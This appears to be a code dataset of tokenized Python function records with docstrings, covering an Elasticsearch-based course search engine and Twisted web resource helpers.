{"signature": "def _process_field_queries(field_dictionary):", "body": "def field_item(field):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return {<EOL>\"<STR_LIT>\": {<EOL>field: field_dictionary[field]<EOL>}<EOL>}<EOL><DEDENT>return [field_item(field) for field in field_dictionary]<EOL>", "docstring": "We have a field_dictionary - we want to match the values for an elasticsearch \"match\" query\nThis is only potentially useful when trying to tune certain search operations", "id": "f9819:m2"}
{"signature": "def _process_field_filters(field_dictionary):", "body": "return [_get_filter_field(field, field_value) for field, field_value in field_dictionary.items()]<EOL>", "docstring": "We have a field_dictionary - we match the values using a \"term\" filter in elasticsearch", "id": "f9819:m3"}
{"signature": "def _process_filters(filter_dictionary):", "body": "def filter_item(field):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if filter_dictionary[field] is not None:<EOL><INDENT>return {<EOL>\"<STR_LIT>\": [<EOL>_get_filter_field(field, filter_dictionary[field]),<EOL>{<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": field<EOL>}<EOL>}<EOL>]<EOL>}<EOL><DEDENT>return {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": field<EOL>}<EOL>}<EOL><DEDENT>return [filter_item(field) for field in filter_dictionary]<EOL>", "docstring": "We have a filter_dictionary - this means that if the field is included\nand matches, then we can include, OR if the field is undefined, then we\nassume it is safe to include", "id": "f9819:m4"}
{"signature": "def _process_exclude_dictionary(exclude_dictionary):", "body": "<EOL>not_properties = []<EOL>for exclude_property in exclude_dictionary:<EOL><INDENT>exclude_values = exclude_dictionary[exclude_property]<EOL>if not isinstance(exclude_values, list):<EOL><INDENT>exclude_values = [exclude_values]<EOL><DEDENT>not_properties.extend([{\"<STR_LIT>\": {exclude_property: exclude_value}} for exclude_value in exclude_values])<EOL><DEDENT>if not not_properties:<EOL><INDENT>return {}<EOL><DEDENT>return {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": not_properties<EOL>}<EOL>}<EOL>}<EOL>", "docstring": "Based on values in the exclude_dictionary generate a list of term queries that\nwill filter out unwanted results.", "id": "f9819:m5"}
{"signature": "def _process_facet_terms(facet_terms):", "body": "elastic_facets = {}<EOL>for facet in facet_terms:<EOL><INDENT>facet_term = {\"<STR_LIT>\": facet}<EOL>if facet_terms[facet]:<EOL><INDENT>for facet_option in facet_terms[facet]:<EOL><INDENT>facet_term[facet_option] = facet_terms[facet][facet_option]<EOL><DEDENT><DEDENT>elastic_facets[facet] = {<EOL>\"<STR_LIT>\": facet_term<EOL>}<EOL><DEDENT>return elastic_facets<EOL>", "docstring": "We have a list of terms with which we return facets", "id": "f9819:m6"}
{"signature": "@staticmethod<EOL><INDENT>def get_cache_item_name(index_name, doc_type):<DEDENT>", "body": "return \"<STR_LIT>\".format(<EOL>index_name,<EOL>doc_type<EOL>)<EOL>", "docstring": "name-formatter for cache_item_name", "id": "f9819:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_mappings(cls, index_name, doc_type):<DEDENT>", "body": "return cache.get(cls.get_cache_item_name(index_name, doc_type), {})<EOL>", "docstring": "fetch mapped-items structure from cache", "id": "f9819:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def set_mappings(cls, index_name, doc_type, mappings):<DEDENT>", "body": "cache.set(cls.get_cache_item_name(index_name, doc_type), mappings)<EOL>", "docstring": "set new mapped-items structure into cache", "id": "f9819:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def log_indexing_error(cls, indexing_errors):<DEDENT>", "body": "indexing_errors_log = []<EOL>for indexing_error in indexing_errors:<EOL><INDENT>indexing_errors_log.append(str(indexing_error))<EOL><DEDENT>raise exceptions.ElasticsearchException('<STR_LIT:U+002CU+0020>'.join(indexing_errors_log))<EOL>", "docstring": "Logs indexing errors and raises a general ElasticSearch Exception", "id": "f9819:c0:m3"}
{"signature": "def _get_mappings(self, doc_type):", "body": "<EOL>mapping = ElasticSearchEngine.get_mappings(self.index_name, doc_type)<EOL>if not mapping:<EOL><INDENT>mapping = self._es.indices.get_mapping(<EOL>index=self.index_name,<EOL>doc_type=doc_type,<EOL>).get(self.index_name, {}).get('<STR_LIT>', {}).get(doc_type, {})<EOL>if mapping:<EOL><INDENT>ElasticSearchEngine.set_mappings(<EOL>self.index_name,<EOL>doc_type,<EOL>mapping<EOL>)<EOL><DEDENT><DEDENT>return mapping<EOL>", "docstring": "Interfaces with the elasticsearch mappings for the index\nprevents multiple loading of the same mappings from ES when called more than once\n\nMappings format in elasticsearch is as follows:\n{\n   \"doc_type\": {\n      \"properties\": {\n         \"nested_property\": {\n            \"properties\": {\n               \"an_analysed_property\": {\n                  \"type\": \"string\"\n               },\n               \"another_analysed_property\": {\n                  \"type\": \"string\"\n               }\n            }\n         },\n         \"a_not_analysed_property\": {\n            \"type\": \"string\",\n            \"index\": \"not_analyzed\"\n         },\n         \"a_date_property\": {\n            \"type\": \"date\"\n         }\n      }\n   }\n}\n\nWe cache the properties of each doc_type, if they are not available, we'll load them again from Elasticsearch", "id": "f9819:c0:m4"}
{"signature": "def _clear_mapping(self, doc_type):", "body": "ElasticSearchEngine.set_mappings(self.index_name, doc_type, {})<EOL>", "docstring": "Remove the cached mappings, so that they get loaded from ES next time they are requested", "id": "f9819:c0:m5"}
{"signature": "def _check_mappings(self, doc_type, body):", "body": "<EOL>exclude_fields = [\"<STR_LIT:content>\"]<EOL>field_properties = getattr(settings, \"<STR_LIT>\", {})<EOL>def field_property(field_name, field_value):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>prop_val = None<EOL>if field_name in field_properties:<EOL><INDENT>prop_val = field_properties[field_name]<EOL><DEDENT>elif isinstance(field_value, dict):<EOL><INDENT>props = {fn: field_property(fn, field_value[fn]) for fn in field_value}<EOL>prop_val = {\"<STR_LIT>\": props}<EOL><DEDENT>else:<EOL><INDENT>prop_val = {<EOL>\"<STR_LIT:type>\": \"<STR_LIT:string>\",<EOL>\"<STR_LIT:index>\": \"<STR_LIT>\",<EOL>}<EOL><DEDENT>return prop_val<EOL><DEDENT>new_properties = {<EOL>field: field_property(field, value)<EOL>for field, value in body.items()<EOL>if (field not in exclude_fields) and (field not in self._get_mappings(doc_type).get('<STR_LIT>', {}))<EOL>}<EOL>if new_properties:<EOL><INDENT>self._es.indices.put_mapping(<EOL>index=self.index_name,<EOL>doc_type=doc_type,<EOL>body={<EOL>doc_type: {<EOL>\"<STR_LIT>\": new_properties,<EOL>}<EOL>}<EOL>)<EOL>self._clear_mapping(doc_type)<EOL><DEDENT>", "docstring": "We desire to index content so that anything we want to be textually searchable(and therefore needing to be\nanalysed), but the other fields are designed to be filters, and only require an exact match. So, we want to\nset up the mappings for these fields as \"not_analyzed\" - this will allow our filters to work faster because\nthey only have to work off exact matches", "id": "f9819:c0:m7"}
{"signature": "def index(self, doc_type, sources, **kwargs):", "body": "try:<EOL><INDENT>actions = []<EOL>for source in sources:<EOL><INDENT>self._check_mappings(doc_type, source)<EOL>id_ = source['<STR_LIT:id>'] if '<STR_LIT:id>' in source else None<EOL>log.debug(\"<STR_LIT>\", doc_type, id_)<EOL>action = {<EOL>\"<STR_LIT>\": self.index_name,<EOL>\"<STR_LIT>\": doc_type,<EOL>\"<STR_LIT>\": id_,<EOL>\"<STR_LIT>\": source<EOL>}<EOL>actions.append(action)<EOL><DEDENT>_, indexing_errors = bulk(<EOL>self._es,<EOL>actions,<EOL>**kwargs<EOL>)<EOL>if indexing_errors:<EOL><INDENT>ElasticSearchEngine.log_indexing_error(indexing_errors)<EOL><DEDENT><DEDENT>except Exception as ex:<EOL><INDENT>log.exception(\"<STR_LIT>\", str(ex))<EOL>raise<EOL><DEDENT>", "docstring": "Implements call to add documents to the ES index\nNote the call to _check_mappings which will setup fields with the desired mappings", "id": "f9819:c0:m8"}
{"signature": "def remove(self, doc_type, doc_ids, **kwargs):", "body": "try:<EOL><INDENT>actions = []<EOL>for doc_id in doc_ids:<EOL><INDENT>log.debug(\"<STR_LIT>\", doc_type, doc_id)<EOL>action = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>\"<STR_LIT>\": self.index_name,<EOL>\"<STR_LIT>\": doc_type,<EOL>\"<STR_LIT>\": doc_id<EOL>}<EOL>actions.append(action)<EOL><DEDENT>bulk(self._es, actions, **kwargs)<EOL><DEDENT>except BulkIndexError as ex:<EOL><INDENT>valid_errors = [error for error in ex.errors if error['<STR_LIT>']['<STR_LIT:status>'] != <NUM_LIT>]<EOL>if valid_errors:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL>raise<EOL><DEDENT><DEDENT>", "docstring": "Implements call to remove the documents from the index", "id": "f9819:c0:m9"}
{"signature": "def search(self,<EOL>query_string=None,<EOL>field_dictionary=None,<EOL>filter_dictionary=None,<EOL>exclude_dictionary=None,<EOL>facet_terms=None,<EOL>exclude_ids=None,<EOL>use_field_match=False,<EOL>**kwargs):  ", "body": "log.debug(\"<STR_LIT>\", query_string)<EOL>elastic_queries = []<EOL>elastic_filters = []<EOL>if query_string:<EOL><INDENT>if six.PY2:<EOL><INDENT>query_string = query_string.encode('<STR_LIT:utf-8>').translate(None, RESERVED_CHARACTERS)<EOL><DEDENT>else:<EOL><INDENT>query_string = query_string.translate(query_string.maketrans('<STR_LIT>', '<STR_LIT>', RESERVED_CHARACTERS))<EOL><DEDENT>elastic_queries.append({<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": [\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": query_string<EOL>}<EOL>})<EOL><DEDENT>if field_dictionary:<EOL><INDENT>if use_field_match:<EOL><INDENT>elastic_queries.extend(_process_field_queries(field_dictionary))<EOL><DEDENT>else:<EOL><INDENT>elastic_filters.extend(_process_field_filters(field_dictionary))<EOL><DEDENT><DEDENT>if filter_dictionary:<EOL><INDENT>elastic_filters.extend(_process_filters(filter_dictionary))<EOL><DEDENT>if exclude_ids:<EOL><INDENT>if not exclude_dictionary:<EOL><INDENT>exclude_dictionary = {}<EOL><DEDENT>if \"<STR_LIT>\" not in exclude_dictionary:<EOL><INDENT>exclude_dictionary[\"<STR_LIT>\"] = []<EOL><DEDENT>exclude_dictionary[\"<STR_LIT>\"].extend(exclude_ids)<EOL><DEDENT>if exclude_dictionary:<EOL><INDENT>elastic_filters.append(_process_exclude_dictionary(exclude_dictionary))<EOL><DEDENT>query_segment = {<EOL>\"<STR_LIT>\": {}<EOL>}<EOL>if elastic_queries:<EOL><INDENT>query_segment = {<EOL>\"<STR_LIT:bool>\": {<EOL>\"<STR_LIT>\": elastic_queries<EOL>}<EOL>}<EOL><DEDENT>query = query_segment<EOL>if elastic_filters:<EOL><INDENT>filter_segment = {<EOL>\"<STR_LIT:bool>\": {<EOL>\"<STR_LIT>\": elastic_filters<EOL>}<EOL>}<EOL>query = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": query_segment,<EOL>\"<STR_LIT>\": filter_segment,<EOL>}<EOL>}<EOL><DEDENT>body = {\"<STR_LIT>\": query}<EOL>if facet_terms:<EOL><INDENT>facet_query = _process_facet_terms(facet_terms)<EOL>if facet_query:<EOL><INDENT>body[\"<STR_LIT>\"] = facet_query<EOL><DEDENT><DEDENT>try:<EOL><INDENT>es_response = self._es.search(<EOL>index=self.index_name,<EOL>body=body,<EOL>**kwargs<EOL>)<EOL><DEDENT>except exceptions.ElasticsearchException as ex:<EOL><INDENT>message = six.text_type(ex)<EOL>if '<STR_LIT>' in message:<EOL><INDENT>log.exception(\"<STR_LIT>\", message)<EOL>raise QueryParseError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>log.exception(\"<STR_LIT>\", str(message))<EOL>raise<EOL><DEDENT><DEDENT>return _translate_hits(es_response)<EOL>", "docstring": "Implements call to search the index for the desired content.\n\nArgs:\n    query_string (str): the string of values upon which to search within the\n    content of the objects within the index\n\n    field_dictionary (dict): dictionary of values which _must_ exist and\n    _must_ match in order for the documents to be included in the results\n\n    filter_dictionary (dict): dictionary of values which _must_ match if the\n    field exists in order for the documents to be included in the results;\n    documents for which the field does not exist may be included in the\n    results if they are not otherwise filtered out\n\n    exclude_dictionary(dict): dictionary of values all of which which must\n    not match in order for the documents to be included in the results;\n    documents which have any of these fields and for which the value matches\n    one of the specified values shall be filtered out of the result set\n\n    facet_terms (dict): dictionary of terms to include within search\n    facets list - key is the term desired to facet upon, and the value is a\n    dictionary of extended information to include. Supported right now is a\n    size specification for a cap upon how many facet results to return (can\n    be an empty dictionary to use default size for underlying engine):\n\n    e.g.\n    {\n        \"org\": {\"size\": 10},  # only show top 10 organizations\n        \"modes\": {}\n    }\n\n    use_field_match (bool): flag to indicate whether to use elastic\n    filtering or elastic matching for field matches - this is nothing but a\n    potential performance tune for certain queries\n\n    (deprecated) exclude_ids (list): list of id values to exclude from the results -\n    useful for finding maches that aren't \"one of these\"\n\nReturns:\n    dict object with results in the desired format\n    {\n        \"took\": 3,\n        \"total\": 4,\n        \"max_score\": 2.0123,\n        \"results\": [\n            {\n                \"score\": 2.0123,\n                \"data\": {\n                    ...\n                }\n            },\n            {\n                \"score\": 0.0983,\n                \"data\": {\n                    ...\n                }\n            }\n        ],\n        \"facets\": {\n            \"org\": {\n                \"total\": total_count,\n                \"other\": 1,\n                \"terms\": {\n                    \"MITx\": 25,\n                    \"HarvardX\": 18\n                }\n            },\n            \"modes\": {\n                \"total\": modes_count,\n                \"other\": 15,\n                \"terms\": {\n                    \"honor\": 58,\n                    \"verified\": 44,\n                }\n            }\n        }\n    }\n\nRaises:\n    ElasticsearchException when there is a problem with the response from elasticsearch\n\nExample usage:\n    .search(\n        \"find the words within this string\",\n        {\n            \"must_have_field\": \"mast_have_value for must_have_field\"\n        },\n        {\n\n        }\n    )", "id": "f9819:c0:m10"}
{"signature": "def _load_class(class_path, default):", "body": "if class_path is None:<EOL><INDENT>return default<EOL><DEDENT>component = class_path.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>result_processor = getattr(<EOL>importlib.import_module(component[<NUM_LIT:0>]),<EOL>component[<NUM_LIT:1>],<EOL>default<EOL>) if len(component) > <NUM_LIT:1> else default<EOL>return result_processor<EOL>", "docstring": "Loads the class from the class_path string", "id": "f9822:m0"}
{"signature": "def _is_iterable(item):", "body": "return isinstance(item, collections.Iterable) and not isinstance(item, six.string_types)<EOL>", "docstring": "Checks if an item is iterable (list, tuple, generator), but not string", "id": "f9822:m1"}
{"signature": "@property<EOL><INDENT>def upper(self):<DEDENT>", "body": "return self._upper<EOL>", "docstring": "return class member _upper as a proerty value", "id": "f9822:c0:m1"}
{"signature": "@property<EOL><INDENT>def lower(self):<DEDENT>", "body": "return self._lower<EOL>", "docstring": "return class member _lower as a proerty value", "id": "f9822:c0:m2"}
{"signature": "@property<EOL><INDENT>def upper_string(self):<DEDENT>", "body": "return str(self._upper)<EOL>", "docstring": "return string representation of _upper as a proerty value", "id": "f9822:c0:m3"}
{"signature": "@property<EOL><INDENT>def lower_string(self):<DEDENT>", "body": "return str(self._lower)<EOL>", "docstring": "return string representation of _upper as a proerty value", "id": "f9822:c0:m4"}
{"signature": "@property<EOL><INDENT>def upper_string(self):<DEDENT>", "body": "return self._upper.isoformat()<EOL>", "docstring": "use isoformat for _upper date's string format", "id": "f9822:c1:m0"}
{"signature": "@property<EOL><INDENT>def lower_string(self):<DEDENT>", "body": "return self._lower.isoformat()<EOL>", "docstring": "use isoformat for _lower date's string format", "id": "f9822:c1:m1"}
{"signature": "def course_discovery_filter_fields():", "body": "return getattr(settings, \"<STR_LIT>\", DEFAULT_FILTER_FIELDS)<EOL>", "docstring": "look up the desired list of course discovery filter fields", "id": "f9823:m0"}
{"signature": "def course_discovery_facets():", "body": "return getattr(settings, \"<STR_LIT>\", {field: {} for field in course_discovery_filter_fields()})<EOL>", "docstring": "Discovery facets to include, by default we specify each filter field with unspecified size attribute", "id": "f9823:m1"}
{"signature": "def perform_search(<EOL>search_term,<EOL>user=None,<EOL>size=<NUM_LIT:10>,<EOL>from_=<NUM_LIT:0>,<EOL>course_id=None):", "body": "<EOL>(field_dictionary, filter_dictionary, exclude_dictionary) = SearchFilterGenerator.generate_field_filters(<EOL>user=user,<EOL>course_id=course_id<EOL>)<EOL>searcher = SearchEngine.get_search_engine(getattr(settings, \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>if not searcher:<EOL><INDENT>raise NoSearchEngineError(\"<STR_LIT>\")<EOL><DEDENT>results = searcher.search_string(<EOL>search_term,<EOL>field_dictionary=field_dictionary,<EOL>filter_dictionary=filter_dictionary,<EOL>exclude_dictionary=exclude_dictionary,<EOL>size=size,<EOL>from_=from_,<EOL>doc_type=\"<STR_LIT>\",<EOL>)<EOL>for result in results[\"<STR_LIT>\"]:<EOL><INDENT>result[\"<STR_LIT:data>\"] = SearchResultProcessor.process_result(result[\"<STR_LIT:data>\"], search_term, user)<EOL><DEDENT>results[\"<STR_LIT>\"] = len([r for r in results[\"<STR_LIT>\"] if r[\"<STR_LIT:data>\"] is None])<EOL>results[\"<STR_LIT>\"] = [r for r in results[\"<STR_LIT>\"] if r[\"<STR_LIT:data>\"] is not None]<EOL>return results<EOL>", "docstring": "Call the search engine with the appropriate parameters", "id": "f9823:m2"}
{"signature": "def course_discovery_search(search_term=None, size=<NUM_LIT:20>, from_=<NUM_LIT:0>, field_dictionary=None):", "body": "<EOL>use_search_fields = [\"<STR_LIT>\"]<EOL>(search_fields, _, exclude_dictionary) = SearchFilterGenerator.generate_field_filters()<EOL>use_field_dictionary = {}<EOL>use_field_dictionary.update({field: search_fields[field] for field in search_fields if field in use_search_fields})<EOL>if field_dictionary:<EOL><INDENT>use_field_dictionary.update(field_dictionary)<EOL><DEDENT>if not getattr(settings, \"<STR_LIT>\", False):<EOL><INDENT>use_field_dictionary[\"<STR_LIT>\"] = DateRange(None, datetime.utcnow())<EOL><DEDENT>searcher = SearchEngine.get_search_engine(getattr(settings, \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>if not searcher:<EOL><INDENT>raise NoSearchEngineError(\"<STR_LIT>\")<EOL><DEDENT>results = searcher.search(<EOL>query_string=search_term,<EOL>doc_type=\"<STR_LIT>\",<EOL>size=size,<EOL>from_=from_,<EOL>field_dictionary=use_field_dictionary,<EOL>filter_dictionary={\"<STR_LIT>\": DateRange(datetime.utcnow(), None)},<EOL>exclude_dictionary=exclude_dictionary,<EOL>facet_terms=course_discovery_facets(),<EOL>)<EOL>return results<EOL>", "docstring": "Course Discovery activities against the search engine index of course details", "id": "f9823:m3"}
{"signature": "def index(self, doc_type, sources, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "This operation is called to add documents of given type to the search index", "id": "f9824:c0:m1"}
{"signature": "def remove(self, doc_type, doc_ids, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "This operation is called to remove documents of given type from the search index", "id": "f9824:c0:m2"}
{"signature": "def search(self,<EOL>query_string=None,<EOL>field_dictionary=None,<EOL>filter_dictionary=None,<EOL>exclude_dictionary=None,<EOL>facet_terms=None,<EOL>**kwargs):  ", "body": "raise NotImplementedError<EOL>", "docstring": "This operation is called to search for matching documents within the search index", "id": "f9824:c0:m3"}
{"signature": "def search_string(self, query_string, **kwargs):", "body": "return self.search(query_string=query_string, **kwargs)<EOL>", "docstring": "Helper function when primary search is for a query string", "id": "f9824:c0:m4"}
{"signature": "def search_fields(self, field_dictionary, **kwargs):", "body": "return self.search(field_dictionary=field_dictionary, **kwargs)<EOL>", "docstring": "Helper function when primary search is for a set of matching fields", "id": "f9824:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_search_engine(index=None):<DEDENT>", "body": "search_engine_class = _load_class(getattr(settings, \"<STR_LIT>\", None), None)<EOL>return search_engine_class(index=index) if search_engine_class else None<EOL>", "docstring": "Returns the desired implementor (defined in settings)", "id": "f9824:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def strings_in_dictionary(dictionary):<DEDENT>", "body": "strings = [value for value in six.itervalues(dictionary) if not isinstance(value, dict)]<EOL>for child_dict in [dv for dv in six.itervalues(dictionary) if isinstance(dv, dict)]:<EOL><INDENT>strings.extend(SearchResultProcessor.strings_in_dictionary(child_dict))<EOL><DEDENT>return strings<EOL>", "docstring": "Used by default implementation for finding excerpt", "id": "f9825:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def find_matches(strings, words, length_hoped):<DEDENT>", "body": "lower_words = [w.lower() for w in words]<EOL>def has_match(string):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>lower_string = string.lower()<EOL>for test_word in lower_words:<EOL><INDENT>if test_word in lower_string:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL><DEDENT>shortened_strings = [textwrap.wrap(s) for s in strings]<EOL>short_string_list = list(chain.from_iterable(shortened_strings))<EOL>matches = [ms for ms in short_string_list if has_match(ms)]<EOL>cumulative_len = <NUM_LIT:0><EOL>break_at = None<EOL>for idx, match in enumerate(matches):<EOL><INDENT>cumulative_len += len(match)<EOL>if cumulative_len >= length_hoped:<EOL><INDENT>break_at = idx<EOL>break<EOL><DEDENT><DEDENT>return matches[<NUM_LIT:0>:break_at]<EOL>", "docstring": "Used by default property excerpt", "id": "f9825:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def decorate_matches(match_in, match_word):<DEDENT>", "body": "matches = re.finditer(match_word, match_in, re.IGNORECASE)<EOL>for matched_string in set([match.group() for match in matches]):<EOL><INDENT>match_in = match_in.replace(<EOL>matched_string,<EOL>getattr(settings, \"<STR_LIT>\", u\"<STR_LIT>\").format(matched_string)<EOL>)<EOL><DEDENT>return match_in<EOL>", "docstring": "decorate the matches within the excerpt", "id": "f9825:c0:m3"}
{"signature": "def should_remove(self, user):  ", "body": "return False<EOL>", "docstring": "Override this in a class in order to add in last-chance access checks to the search process\nYour application will want to make this decision", "id": "f9825:c0:m4"}
{"signature": "def add_properties(self):", "body": "for property_name in [p[<NUM_LIT:0>] for p in inspect.getmembers(self.__class__) if isinstance(p[<NUM_LIT:1>], property)]:<EOL><INDENT>self._results_fields[property_name] = getattr(self, property_name, None)<EOL><DEDENT>", "docstring": "Called during post processing of result\nAny properties defined in your subclass will get exposed as members of the result json from the search", "id": "f9825:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def process_result(cls, dictionary, match_phrase, user):<DEDENT>", "body": "result_processor = _load_class(getattr(settings, \"<STR_LIT>\", None), cls)<EOL>srp = result_processor(dictionary, match_phrase)<EOL>if srp.should_remove(user):<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>srp.add_properties()<EOL><DEDENT>except Exception as ex:  <EOL><INDENT>log.exception(\"<STR_LIT>\",<EOL>json.dumps(dictionary, cls=DjangoJSONEncoder), str(ex))<EOL>return None<EOL><DEDENT>return dictionary<EOL>", "docstring": "Called from within search handler. Finds desired subclass and decides if the\nresult should be removed and adds properties derived from the result information", "id": "f9825:c0:m6"}
{"signature": "@property<EOL><INDENT>def excerpt(self):<DEDENT>", "body": "if \"<STR_LIT:content>\" not in self._results_fields:<EOL><INDENT>return None<EOL><DEDENT>match_phrases = [self._match_phrase]<EOL>if six.PY2:<EOL><INDENT>separate_phrases = [<EOL>phrase.decode('<STR_LIT:utf-8>')<EOL>for phrase in shlex.split(self._match_phrase.encode('<STR_LIT:utf-8>'))<EOL>]<EOL><DEDENT>else:<EOL><INDENT>separate_phrases = [<EOL>phrase<EOL>for phrase in shlex.split(self._match_phrase)<EOL>]<EOL><DEDENT>if len(separate_phrases) > <NUM_LIT:1>:<EOL><INDENT>match_phrases.extend(separate_phrases)<EOL><DEDENT>else:<EOL><INDENT>match_phrases = separate_phrases<EOL><DEDENT>matches = SearchResultProcessor.find_matches(<EOL>SearchResultProcessor.strings_in_dictionary(self._results_fields[\"<STR_LIT:content>\"]),<EOL>match_phrases,<EOL>DESIRED_EXCERPT_LENGTH<EOL>)<EOL>excerpt_text = ELLIPSIS.join(matches)<EOL>for match_word in match_phrases:<EOL><INDENT>excerpt_text = SearchResultProcessor.decorate_matches(excerpt_text, match_word)<EOL><DEDENT>return excerpt_text<EOL>", "docstring": "Property to display a useful excerpt representing the matches within the results", "id": "f9825:c0:m7"}
{"signature": "def _parseAccept(headers):", "body": "def sort(value):<EOL><INDENT>return float(value[<NUM_LIT:1>].get('<STR_LIT:q>', <NUM_LIT:1>))<EOL><DEDENT>return OrderedDict(sorted(_splitHeaders(headers), key=sort, reverse=True))<EOL>", "docstring": "Parse and sort an ``Accept`` header.\n\nThe header is sorted according to the ``q`` parameter for each header value.\n\n@rtype: `OrderedDict` mapping `bytes` to `dict`\n@return: Mapping of media types to header parameters.", "id": "f9827:m0"}
{"signature": "def _splitHeaders(headers):", "body": "return [cgi.parse_header(value)<EOL>for value in chain.from_iterable(<EOL>s.split('<STR_LIT:U+002C>') for s in headers<EOL>if s)]<EOL>", "docstring": "Split an HTTP header whose components are separated with commas.\n\nEach component is then split on semicolons and the component arguments\nconverted into a `dict`.\n\n@return: `list` of 2-`tuple` of `bytes`, `dict`\n@return: List of header arguments and mapping of component argument names\n    to values.", "id": "f9827:m1"}
{"signature": "def contentEncoding(requestHeaders, encoding=None):", "body": "if encoding is None:<EOL><INDENT>encoding = b'<STR_LIT:utf-8>'<EOL><DEDENT>headers = _splitHeaders(<EOL>requestHeaders.getRawHeaders(b'<STR_LIT:Content-Type>', []))<EOL>if headers:<EOL><INDENT>return headers[<NUM_LIT:0>][<NUM_LIT:1>].get(b'<STR_LIT>', encoding)<EOL><DEDENT>return encoding<EOL>", "docstring": "Extract an encoding from a ``Content-Type`` header.\n\n@type  requestHeaders: `twisted.web.http_headers.Headers`\n@param requestHeaders: Request headers.\n\n@type  encoding: `bytes`\n@param encoding: Default encoding to assume if the ``Content-Type``\n    header is lacking one. Defaults to ``UTF-8``.\n\n@rtype: `bytes`\n@return: Content encoding.", "id": "f9827:m2"}
{"signature": "def maybe(f, default=None):", "body": "@wraps(f)<EOL>def _maybe(x, *a, **kw):<EOL><INDENT>if x is None:<EOL><INDENT>return default<EOL><DEDENT>return f(x, *a, **kw)<EOL><DEDENT>return _maybe<EOL>", "docstring": "Create a nil-safe callable decorator.\n\nIf the wrapped callable receives ``None`` as its argument, it will return\n``None`` immediately.", "id": "f9827:m3"}
{"signature": "def _renderResource(resource, request):", "body": "meth = getattr(resource, '<STR_LIT>' + nativeString(request.method), None)<EOL>if meth is None:<EOL><INDENT>try:<EOL><INDENT>allowedMethods = resource.allowedMethods<EOL><DEDENT>except AttributeError:<EOL><INDENT>allowedMethods = _computeAllowedMethods(resource)<EOL><DEDENT>raise UnsupportedMethod(allowedMethods)<EOL><DEDENT>return meth(request)<EOL>", "docstring": "Render a given resource.\n\nSee `IResource.render <twisted:twisted.web.resource.IResource.render>`.", "id": "f9828:m0"}
{"signature": "def __init__(self, wrappedResource):", "body": "self._wrappedResource = wrappedResource<EOL>Resource.__init__(self)<EOL>", "docstring": ":type  wrappedResource: `ISpinneretResource`\n:param wrappedResource: Spinneret resource to wrap in an `IResource`.", "id": "f9828:c3:m0"}
{"signature": "def _adaptToResource(self, result):", "body": "if result is None:<EOL><INDENT>return NotFound()<EOL><DEDENT>spinneretResource = ISpinneretResource(result, None)<EOL>if spinneretResource is not None:<EOL><INDENT>return SpinneretResource(spinneretResource)<EOL><DEDENT>renderable = IRenderable(result, None)<EOL>if renderable is not None:<EOL><INDENT>return _RenderableResource(renderable)<EOL><DEDENT>resource = IResource(result, None)<EOL>if resource is not None:<EOL><INDENT>return resource<EOL><DEDENT>if isinstance(result, URLPath):<EOL><INDENT>return Redirect(str(result))<EOL><DEDENT>return result<EOL>", "docstring": "Adapt a result to `IResource`.\n\nSeveral adaptions are tried they are, in order: ``None``,\n`IRenderable <twisted:twisted.web.iweb.IRenderable>`, `IResource\n<twisted:twisted.web.resource.IResource>`, and `URLPath\n<twisted:twisted.python.urlpath.URLPath>`. Anything else is returned as\nis.\n\nA `URLPath <twisted:twisted.python.urlpath.URLPath>` is treated as\na redirect.", "id": "f9828:c3:m1"}
{"signature": "def _handleRenderResult(self, request, result):", "body": "def _requestFinished(result, cancel):<EOL><INDENT>cancel()<EOL>return result<EOL><DEDENT>if not isinstance(result, Deferred):<EOL><INDENT>result = succeed(result)<EOL><DEDENT>def _whenDone(result):<EOL><INDENT>render = getattr(result, '<STR_LIT>', lambda request: result)<EOL>renderResult = render(request)<EOL>if renderResult != NOT_DONE_YET:<EOL><INDENT>request.write(renderResult)<EOL>request.finish()<EOL><DEDENT>return result<EOL><DEDENT>request.notifyFinish().addBoth(_requestFinished, result.cancel)<EOL>result.addCallback(self._adaptToResource)<EOL>result.addCallback(_whenDone)<EOL>result.addErrback(request.processingFailed)<EOL>return NOT_DONE_YET<EOL>", "docstring": "Handle the result from `IResource.render`.\n\nIf the result is a `Deferred` then return `NOT_DONE_YET` and add\na callback to write the result to the request when it arrives.", "id": "f9828:c3:m3"}
